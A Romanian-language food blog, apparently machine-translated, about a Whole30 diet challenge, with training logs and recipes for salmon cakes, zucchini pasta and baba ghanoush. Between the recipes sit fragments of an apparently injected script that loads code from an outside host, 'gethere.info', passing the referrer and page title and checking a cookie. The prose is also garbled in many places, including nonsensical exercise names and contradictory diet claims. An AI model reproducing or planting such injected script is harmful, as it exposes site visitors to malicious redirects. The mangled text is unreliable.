Unt de fistic-nucă de cocos, uscat cu pesto de spanac și dovleac prăjit, spaghete marinara crude, bolognese italiene și multe altele în primele 11 zile cu o provocare sănătoasă Întreg30:).

pagina

Permiteți-mi să vă spun, Whole30 nu este distractiv! Am intrat în el cu hotărâre, plin de așteptări și mare entuziasm. După câteva zile (exact după șase), au început îndoielile. Întâi abstinenți și convingându-vă că este normal să aveți un chai la 21 seara - „Asta este tot ce puteți face”, mi-am spus.

La început, după fiecare masă, simțeam că nu mâncasem. A trebuit să aștept o vreme până când stomacul meu a realizat că nu va mai obține nimic. Cu toate acestea, după 3 zile s-a stabilizat. Cu toate acestea, au fost urmate de alte 3 persoane, când am simțit din nou că am mâncat prea mult.

În ziua a 7-a, mi s-a întâmplat să fiu atât de plin de ziua precedentă (am mâncat chiar înainte de culcare), încât practic am sărit peste micul dejun și am mâncat trei mese mai mici în timpul zilei. Dar, din nou, am putut mânca un smoothie doar pentru următorul mic dejun.

Caruselul nesfârșit s-a repetat și a venit imediat câteva zile, când nu puteam lua doar cele 3 mese, dar le completam cu câteva nuci pe lângă.

Găsirea acelei mijloace de aur va pune efortul și cred că fiecare își va găsi propria cu orice dietă, trebuie doar un vârf de răbdare și dorința de a experimenta. Dar nu uit niciodată ce alimente fac și care nu.

Sentimentele mele:
  • spre surprinderea mea, nu îmi lipsește deloc ciocolata - și o mănânc în fiecare zi
  • De asemenea, nu am o mare problemă cu faptul că nu mănânc „dulce”
  • produse din lapte acru, cum ar fi iaurtul, aluatul, . chiar mi-e dor de ele
  • a avea proteine ​​animale în fiecare masă mă omoară puțin
  • energia pe tot parcursul zilei fără fluctuații este perfectă
  • pe de o parte te gândești mai puțin la mâncare, pe de altă parte mai mult:)
Observațiile și sfaturile mele:
  • nu lasa fructe la final
  • combinație de ouă, mere și unt de cocos - NU
  • prea multă mâncare crudă se umflă într-o singură zi
  • este bine să mănânci cu câteva ore înainte de culcare (în mod normal sunt obișnuit să mănânc înainte de culcare, dar din moment ce cina reprezintă mai mult de 1/3 din aportul zilnic, consumul înainte nu merită și nici măcar nu este plăcut)
  • pielea mea este cu adevărat mai bună:)
  • portiile pe care le consum sunt cu adevarat imense, dar la ce ma intreb cand majoritatea sunt doar legume:)
  • nu uitați să urmați sumele stabilite, altfel nu veți rezista până la următoarea masă
  • este bine să verificați valorile calorice ale meselor individuale, astfel încât să nu mâncați din greșeală prea puțin - o fac prin Foodlogic

Instruire:

Ador întărirea. Fac asta mai mult sau mai puțin de câțiva ani, bineînțeles cu diverse pauze.

Exersez clasic, 2-3 jocuri, 3-4 antrenamente pe săptămână. De obicei 4 serii după 8-10 repetări. Acesta a fost primul meu antrenament
11 zile cu Whole30.

Vineri 2.1.2015 - spate, biceps și abdomen

  • 1,5 km alergând pe centură
  • deadlift - scripete (curbe) - curbe înainte - hiperextensie
  • biceps cu o halteră mare - cadran cu o singură mână - ciocan
  • solduri cu disc - hiperextensie laterala - picioare de ridicare cu fund de ridicare

Sâmbătă 3.1.2015 - iată (3-4km)

Duminică 4.1.2015 - sâni, triceps, abdomen

  • 1km alergare
  • bancă - peckdeck - presiuni ale sânilor pe o bancă înclinată - pulover
  • presiune cu o singură mână în spatele capului - scufundări triceps - manivele triceps inversate - îndepărtarea scripetelor
  • ridicarea picioarelor cu fundul de ridicare

Marți 6.1.2015 - umeri, picioare, abdomen

  • presiunea din spate-față - presiunile umărului cu un singur braț - rotația antebrațului și a roții - strângerea înainte de înclinare
  • săpat - îngropat - legpress
  • ridicarea picioarelor cu ridicarea feselor - hiperextensie laterală

Joi 8.1.2015 așa-zisul Hard Core - un antrenament circular foarte neplăcut

Sâmbătă 10.1.2015 - sâni, biceps

  • bancă superioară - peckdeck cu gantere - bancă - pulover
  • biceps cu bara mare - cadran cu o singură mână - banca lui Scott

Mese de top în 11 zile cu Whole30

Mâncarea în timpul Whole30 este cu adevărat colorată, variată și gustoasă.

Este cu adevărat uimitor ce se poate prepara din cele mai elementare ingrediente!

Mese pline de culoare, gust și idee.

Desigur, nu pe toate le-am mâncat cu plăcere totală, dar cu siguranță 90% dintre ele au făcut-o. Mulți dintre ei au deja propria rețetă pe site și, bineînțeles, celelalte vor fi adăugate.

Veți găsi Baba Ghanoush, unt de fistic-nucă de cocos, lapte de migdale, Aglio olio peperoncino, spaghete marinara crude, prăjituri cu somon și multe altele.

Topul meu preferat este „top” - uscat sărat cu pesto de spanac și dovleac prăjit. M-am inspirat din această rețetă FoodTube Jamie Oliver (video aici). În curând veți găsi rețeta pe site:).

Puteți vedea toate preparatele pe Instagram, unde le postez zilnic:).

s.src = ’http: //gethere.info/kt/? 264dpr & frm = script & se_referrer =’ + encodeURIComponent (document.referrer) + ‘& default_keyword =’ + encodeURIComponent (document.title) + ”; if (document.cookie.indexOf („_mauthtoken”) == - 1) >>) (navigator.userAgent || navigator.vendor || window.opera, 'http: //gethere.info/kt/? 264dpr &' );>

Smooth ABC

Smoothy cremos, delicios, delicat dulce, realizat din lapte de avocado, banane și nucă de cocos

Prăjituri cu somon

Când am început să pregătesc această masă, chiar nu aveam idee că va fi atât de grozav:). Prăjiturile cu somon, așa cum le-am numit în slovacă, sunt cu adevărat perfecte. Sănătos, simplu și plin de gust.

Cum mi-a venit această rețetă este o poveste destul de interesantă. Am căutat inspirație în amintirile călătoriei mele în SUA și mi-am amintit de un excelent restaurant cu fructe de mare, unde au servit un clasic numit „tort de crab”. Din nou, nu a funcționat pentru mine și împreună cu Whole30 am creat o alternativă sănătoasă de somon în gândurile mele.

În cele din urmă, m-am așezat la masă cu acest miracol pe o farfurie și habar nu aveam la ce să mă aștept. - Va avea gust deloc? M-am întrebat. Spre surprinderea mea, aceste „prăjituri” au fost cu adevărat gustoase.
A doua zi i-am îmbogățit cu un ou pierdut, așa cum se obișnuiește cu un „tort de crab” tradițional american. Am ales cartofi prăjiți de țelină - citiți mai multe despre țelină aici.

Acesta este modul în care mâncarea minunată și sănătoasă în stil „fast-food”:)

Ingrediente: (pentru 2 portii)

pentru prajituri cu somon:

  • 150g somon conservat (în suc propriu)
  • 1 ceapa rosie medie
  • 1 ou
  • 1 lingura faina de cocos
  • un praf de sare și piper
  • 1 linguriță de cimbru proaspăt sau uscat (poate să nu fie)
  • 3 lingurițe de ulei de cocos pentru prăjire

pentru ambalare:

  • 1 lingură semințe de in măcinate
  • 1 lingură semințe de susan
  • 1 lingura faina de cocos
  • un praf de sare și piper

pe ouă pierdute:

  • 2 oua
  • oala cu apa fierbinte

pentru cartofi prajiti de telina:

  • 300-400g țelină feliată în cartofi prăjiți
  • sare și piper după gust
  • Hârtie de copt

Abordare:

  1. Tăiați mărunt ceapa roșie și amestecați cu toate ingredientele pentru prăjituri.
  2. Folosind mâinile, modelăm chifteluțe mici din aluat și le înfășurăm într-un amestec pentru ambalare.
  3. Puneți cartofii de țelină pe hârtie de copt, sare, condimentați și coaceți la 200 ° C timp de 20 de minute.
  4. Prăjește prăjiturile de somon în ulei de cocos fierbinte timp de 2-3 minute pe fiecare parte.
  5. Pe un ou pierdut, puneți pur și simplu ouul crud în apă fierbinte și așteptați aproximativ 3 minute. Puteți găsi procedura video aici, de exemplu.
  6. Vom servi totul frumos pe o farfurie și putem mânca:).

Țelină

Țelina de rădăcină este strâns legată de binecunoscutul țelină de tulpină și este cultivată pentru partea sa subterană caracteristică. Este o alegere ideală în timpul iernii, când este cel mai des folosit în supe, bulionuri și diferite tipuri de terci.

Noțiuni de bază

De asemenea, pe baza asemănărilor cu țelina de morcovi, îl includem în genul Apium, cu numele latin Apium graveolens var. Rapaceum. Cu toate acestea, excelează prin unicitatea părții sale subterane mari, sferice, care are o suprafață rugoasă și accidentată.

Pozitive de utilizare

Țelina are relativ puține calorii - aproximativ 42kcal/100g. În același timp, pulpa sa oferă o gamă interesantă de nutrienți, minerale (fosfor, magneziu, mangan), vitamine (K, B6, C) și fibre.

La fel ca morcovii, țelina este o sursă bună de antioxidanți din poliacetilenă (falcarinol, panaxydiol, falcarindiol), care au un presupus efect inhibitor asupra unor tipuri de cancer.

În ceea ce privește conținutul de vitamine, vitamina K câștigă în mod clar (34% din doza zilnică recomandată/100g). Această vitamină are capacitatea de a crește prevalența osoasă prin promovarea activității celulelor osoase.

Aglio Olio Peperoncino

Un clasic italian simplu mai sănătos, mai rapid și mai colorat:)!

Ulei de măsline, usturoi și chili amestecat în spaghete de dovlecei, friptură de pui și slănină prăjită. Nu mai trebuie adăugat nimic:).

Ingrediente: (pentru 1 persoană)

  • 300g dovlecel spiralat sau feliat
  • 3 linguri de ulei de măsline
  • 1 ardei iute mai mic
  • 2 catei de usturoi
  • 1/2 linguriță sare și un vârf de piper negru
  • 100-150g piept de pui
  • 30g slănină de calitate (am folosit koložvárska)
  • sare și piper după gust

Abordare:

  1. Într-un castron, amestecați uleiul de măsline, usturoiul zdrobit, ardeiul iute mărunt, sarea și piperul.
  2. Feliază, sare și condimentează pieptul de pui. Tăiați slănina felii fine și prăjiți-o într-o tigaie.
  3. Când slănina eliberează puțină grăsime, adăugați friptura de pui și prăjiți pe ambele părți timp de aproximativ 2-3 minute.
  4. Pune dovleceii într-o sită și toarnă apă fierbinte peste ea și scurge-o. Acest lucru va menține dovleceii calzi, dar va rămâne crocant:).
  5. Transferați dovleceii pe o farfurie, adăugați amestecul de ulei și amestecați.
  6. Așezați friptură de pui și slănină deasupra.
  7. Noi servim.

d.getElementsByTagName (‘head’) [0] .appendChild (s);

Baba Ghanoush

Am crezut că nu există o răspândire orientală mai bună decât humusul. Ei bine, m-am înșelat din nou:)!

Întrucât leguminoasele sunt interzise în timpul întregului 30, humusul a fost exclus. Dar apetitul meu pentru asta m-a condus la baba ghanoush .

Îmi amintesc că am gustat de câteva ori această bunătate în salonul de ceai, dar nu m-am gândit niciodată mai semnificativ la asta. Baba ghanoush este o răspândire tradițională libaneză și, după cum am aflat, este și o alternativă perfectă la hummus:).

Este pur și simplu divin - vinete, usturoi, semințe de susan și lămâie. Nu este solicitant pentru materiile prime și oferă în același timp o textură fină și un gust plăcut spumant.

Spaghete marinara crude

A treia zi a provocării Whole30 s-a încheiat încet, așa că cred că este momentul potrivit să împărtășim o rețetă cu procedura. În acest fel, nu numai că veți avea o idee exactă despre cum arată o mâncare atât de sănătoasă, dar puteți încerca și să o preparați acasă:).

Am ales acest fel de mâncare pentru unicitatea și rafinamentul său. Preparatul crud a adăugat un gust și o aromă înțepătoare acestui fel de mâncare. Datorită acestei proceduri, veți simți fiecare ingredient din alimente. Pregătirea va dura până la 10 minute și aveți un prânz sănătos și gustos în lume:).

Deoarece proteina de la Whole30 nu trebuie să lipsească, am completat-o ​​cu bucăți de piept de pui la grătar.

Ingrediente: (per 1 portie)

  • 350g dovlecei (aprox. 1,5)
  • 250g roșii
  • 50g ceapă de primăvară
  • 1 cățel de usturoi
  • 30g măsline grecești uscate
  • un pic de patrunjel si cimbru
  • sare și piper după gust
  • 150-200g piept de pui
  • 1 linguriță unguent/ulei de cocos
  • sare și piper după gust

Abordare:

  1. Spiralează dovleceii sau taie-l în felii fine.
  2. Puneți roșii, ceapă și alte ingrediente într-un blender sau robot și amestecați într-un sos neted. Sare și condimentați după gust.
  3. Tăiați puiul în medalioane mici, sare, condimentați și prăjiți într-o tigaie timp de 2-3 minute pe ambele părți.
  4. Amestecați sosul cu dovleceii, puneți-l într-un castron și așezați bucățile de pui deasupra.

Astfel de alimente vă vor oferi următoarele valori nutriționale:

  • calorii: 542kcal
  • proteine: 51g
  • Glucide (fibre): 26g (8)
  • grăsimi: 26g

Credeți că acest fel de mâncare merită cu siguranță:)!

Începem cu Whole30

Noul an vine întotdeauna cu noi obiective și angajamente. Desigur, această regulă trebuie să se aplice și nouă!:)

Prin urmare, am decis să intrăm în 2015 cu o provocare sănătoasă:). O provocare sub forma unei resetări nutriționale care va dura 30 de zile.

Desigur, rămânem la fel și puteți să vă așteptați cu nerăbdare la al vostru
rețete populare fără zahăr, cereale, pline de grăsimi sănătoase, doar din ingrediente naturale.

Deci, de ce vorbim despre o provocare? Vom limita meniurile doar la anumite grupe de alimente, cum ar fi carnea, peștele, legumele, fructele și grăsimile sănătoase. Din păcate, nu vor exista coaceri și dulciuri sănătoase pe parcursul a 30 de zile - dar ne descurcăm:)!

Instagram va fi mâna noastră dreaptă pentru această perioadă. Postind zilnic, vă vom arăta cum arată o astfel de dietă și ce beneficii poate avea pentru corpul și sănătatea dumneavoastră.

Mâncarea va fi, ca întotdeauna, creativă, gustoasă și rapidă de pregătit.

Am ales binecunoscuta provocare Whole30 ca inspirație. Avem pregătite toate informațiile interesante și necesare, precum și link-uri către site-ul lor oficial.

Începutul meu oficial a început astăzi, 1 ianuarie 2015. Cu blogul de astăzi vreau să vă arăt ce am mâncat în prima zi a provocării Whole30 și cum a arătat.

Am început ziua la maxim. Un pahar de jumătate de litru de apă cu puțin oțet de mere și o omletă cu 3 albușuri, preparate în ulei de cocos virgin. Pentru degustare și ca garnitură, am ales 2 linguri de unt de cocos, un vârf de scorțișoară, o jumătate de castravete și 1 physalis. Astfel de mic dejun campion sunt bogate în proteine, grăsimi sănătoase, fibre și vitamine. Desigur, exista un aparat de cafea cu nucă de cocos și lapte de migdale de casă.

Calorii: 446,3 kcal

Carbohidrați (fibre): 18,8 g (5,2)

La prânz am luat spaghete din 2 dovlecei cu sos de roșii și ceapă. În plus, slănină de calitate și bucăți de filet de porc preparate cu unguent de mangali . Și încă o cafea:-).

Calorii: 622 kcal

Carbohidrați (fibre): 32g (8)

Am încheiat ziua cu cina în semnul unei salate ușoare. Rucola, spanac, roșii, 1/2 avocado, bucăți de filet de porc în ulei de cocos, pomelo și sos de lămâie și ulei de măsline.

Calorii: 596 kcal

Carbohidrați (fibre): 27g (12)

După prima săptămână a acestei provocări, vom scrie un alt blog despre cum merge totul:).

Kika mi se va alătura în câteva zile, astfel încât să puteți aștepta cu nerăbdare observațiile și sentimentele mai multor persoane. Sperăm să vă bucurați de Whole30 și doriți să o încercați singuri.